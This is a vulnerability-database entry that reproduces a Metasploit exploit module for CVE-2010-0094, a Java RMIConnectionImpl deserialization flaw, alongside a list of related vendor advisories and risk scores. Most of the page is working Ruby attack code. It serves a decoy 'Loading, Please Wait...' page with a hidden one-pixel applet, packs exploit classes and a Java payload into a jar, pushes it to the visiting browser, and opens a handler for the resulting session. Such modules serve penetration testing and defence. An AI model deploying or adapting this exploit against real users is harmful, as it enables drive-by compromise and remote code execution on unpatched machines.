Java RMIConnectionImpl Deserialization Privilege Escalation Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType

Java RMIConnectionImpl Deserialization Privilege Escalation Exploit. This module exploits a vulnerability in the Java Runtime Environment that allows to deserialize a MarshalledObject containing a custom classloader under a privileged context. The vulnerability affects version 6 prior to update 19 and version 5 prior to update 23

Reporter	Title	Published	Views	Family All 112
IBM Security Bulletins	Security Bulletin: Vulnerability in Oracle Java affects Personal Communications	12 Nov 202412:40	–	ibm
Tenable Nessus	CentOS 5 : java-1.6.0-openjdk (CESA-2010:0339)	14 Jun 201000:00	–	nessus
Tenable Nessus	Fedora 12 : java-1.6.0-openjdk-1.6.0.0-37.b17.fc12 (2010-6025)	1 Jul 201000:00	–	nessus
Tenable Nessus	Fedora 11 : java-1.6.0-openjdk-1.6.0.0-34.b17.fc11 (2010-6039)	1 Jul 201000:00	–	nessus
Tenable Nessus	Fedora 13 : java-1.6.0-openjdk-1.6.0.0-37.b17.fc13 (2010-6279)	1 Jul 201000:00	–	nessus
Tenable Nessus	GLSA-201006-18 : Oracle JRE/JDK: Multiple vulnerabilities	4 Jun 201000:00	–	nessus
Tenable Nessus	Mac OS X : Java for Mac OS X 10.5 Update 7	19 May 201000:00	–	nessus
Tenable Nessus	Mac OS X : Java for Mac OS X 10.6 Update 2	19 May 201000:00	–	nessus
Tenable Nessus	Mandriva Linux Security Advisory : java-1.6.0-openjdk (MDVSA-2010:084)	29 Apr 201000:00	–	nessus
Tenable Nessus	Oracle Linux 5 : java-1.6.0-openjdk (ELSA-2010-0339)	12 Jul 201300:00	–	nessus


                                                ##
# $Id: java_rmi_connection_impl.rb 10490 2010-09-27 00:09:17Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require &#39;msf/core&#39;
require &#39;rex&#39;

class Metasploit3 &#60; Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	#
	# Superceded by java_trusted_chain
	#
	#include Msf::Exploit::Remote::BrowserAutopwn
	#autopwn_info({ :javascript =&#62; false })

	def initialize( info = {} )

		super( update_info( info,
			&#39;Name&#39;          =&#62; &#39;Java RMIConnectionImpl Deserialization Privilege Escalation Exploit&#39;,
			&#39;Description&#39;   =&#62; %q{
			This module exploits a vulnerability in the Java Runtime Environment
			that allows to deserialize a MarshalledObject containing a custom
			classloader under a privileged context. The vulnerability affects
			version 6 prior to update 19 and version 5 prior to update 23.
			},
			&#39;License&#39;       =&#62; MSF_LICENSE,
			&#39;Author&#39;        =&#62; [
				&#39;Sami Koivu&#39;, # Discovery
				&#39;Matthias Kaiser&#39;, # PoC
				&#39;egypt&#39; # metasploit module
			],
			&#39;Version&#39;       =&#62; &#39;$Revision: 10490 $&#39;,
			&#39;References&#39;    =&#62;
			[
				[ &#39;CVE&#39;, &#39;2010-0094&#39; ],
				[ &#39;OSVDB&#39;, &#39;63484&#39; ],
				[ &#39;URL&#39;, &#39;http://slightlyrandombrokenthoughts.blogspot.com/2010/04/java-rmiconnectionimpl-deserialization.html&#39; ],
			],
			&#39;Platform&#39;      =&#62; [ &#39;java&#39; ],
			&#39;Payload&#39;       =&#62; { &#39;Space&#39; =&#62; 20480, &#39;BadChars&#39; =&#62; &#39;&#39;, &#39;DisableNops&#39; =&#62; true },
			&#39;Targets&#39;       =&#62;
				[
					[ &#39;Generic (Java Payload)&#39;,
						{
							&#39;Arch&#39; =&#62; ARCH_JAVA,
						}
					],
				],
			&#39;DefaultTarget&#39;  =&#62; 0,
			&#39;DisclosureDate&#39; =&#62; &#39;Mar 31 2010&#39;
			))
	end


	def on_request_uri( cli, request )
		if not request.uri.match(/\.jar$/i)
			if not request.uri.match(/\/$/)
				send_redirect(cli, get_resource() + &#39;/&#39;, &#39;&#39;)
				return
			end

			print_status(&#34;Handling request from #{cli.peerhost}:#{cli.peerport}...&#34;)

			send_response_html(cli, generate_html, { &#39;Content-Type&#39; =&#62; &#39;text/html&#39; })
			return
		end

		paths = [
			[ &#34;Exploit.class&#34; ],
			[ &#34;Exploit$1.class&#34; ],
			[ &#34;Exploit$1$1.class&#34; ],
			[ &#34;Exploit$2.class&#34; ],
			[ &#34;Payloader.class&#34; ],
			[ &#34;PayloadClassLoader.class&#34; ],
			[ &#34;payload.ser&#34; ],
		]

		p = regenerate_payload(cli)
		jar = p.encoded_jar
		paths.each do |path|
			1.upto(path.length - 1) do |idx|
				full = path[0,idx].join(&#34;/&#34;) + &#34;/&#34;
				if !(jar.entries.map{|e|e.name}.include?(full))
					jar.add_file(full, &#39;&#39;)
				end
			end
			fd = File.open(File.join( Msf::Config.install_root, &#34;data&#34;, &#34;exploits&#34;, &#34;cve-2010-0094&#34;, path ), &#34;rb&#34;)
			data = fd.read(fd.stat.size)
			jar.add_file(path.join(&#34;/&#34;), data)
			fd.close
		end

		print_status(&#34;#{self.name} Sending Applet.jar to #{cli.peerhost}:#{cli.peerport}...&#34;)
		send_response(cli, jar.pack, { &#39;Content-Type&#39; =&#62; &#34;application/octet-stream&#34; })

		handler(cli)
	end

	def generate_html
		html  = &#34;&#60;html&#62;&#60;head&#62;&#60;title&#62;Loading, Please Wait...&#60;/title&#62;&#60;/head&#62;&#34;
		html += &#34;&#60;body&#62;&#60;center&#62;&#60;p&#62;Loading, Please Wait...&#60;/p&#62;&#60;/center&#62;&#34;
		html += &#34;&#60;applet archive=\&#34;Exploit.jar\&#34; code=\&#34;Exploit.class\&#34; width=\&#34;1\&#34; height=\&#34;1\&#34;&#62;&#34;
		html += &#34;&#60;/applet&#62;&#60;/body&#62;&#60;/html&#62;&#34;
		return html
	end

end

01 Jul 2014 00:00Current

0.4Low risk

Vulners AI Score0.4

EPSS0.86987